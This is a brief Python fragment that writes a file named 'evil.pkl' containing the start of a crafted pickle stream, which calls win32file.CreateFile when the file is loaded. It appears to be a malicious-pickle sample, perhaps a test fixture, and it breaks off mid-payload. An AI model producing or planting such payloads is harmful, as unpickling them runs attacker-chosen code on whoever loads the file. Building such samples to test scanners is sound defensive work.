import pathlib p=pathlib.Path(__file__).with_name('evil.pkl') p.write_bytes(b'\x80\x02cwin32file\nCreateFile\n(\x8c